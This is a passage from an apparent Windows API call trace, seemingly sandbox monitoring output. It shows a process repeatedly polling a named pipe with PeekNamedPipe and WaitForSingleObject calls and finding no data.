dwMilliseconds=0x14) returned 0x102 [0101.333] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.333] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.361] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.362] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.393] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.393] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.424] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.424] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.455] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.455] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.486] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.486] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.517] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.518] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.549] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.549] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.580] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.580] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.611] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.611] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.642] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.642] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.673] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.673] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.705] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.705] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.736] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.736] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.768] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.768] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.798] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.798] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.829] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.830] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.861] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.861] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.893] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.893] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.980] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.981] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.002] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.002] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.032] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.032] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.063] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.064] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.106] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.106] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.126] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.126] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.159] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.159] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.188] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.188] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.220] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.220] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.271] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.271] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.297] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.298] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.329] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.329] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.360] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.360] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.391] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.391] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.422] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.422] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.454] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.454] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.485] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.485] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.516] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.516] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.547] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.547] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.579] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.579] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.609] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.610] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.641] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.641] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.672] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.672] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.703] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.704] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.734] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.734] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.776] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.776] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.797] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.797] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.828] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.828] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.859] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.859] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.890] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.890] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.922] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.922] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.953] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.953] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.986] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.986] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.017] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.017] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.046] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.046] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.078] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.078] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.122] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.122] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.154] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.154] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.187] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.187] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.238] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.238] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.276] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.276] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.299] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.299] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.327] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.327] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.358] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.358] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.389] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.389] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.431] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.431] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.452] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.452] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.483] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.483] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.515] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.515] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.546] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, 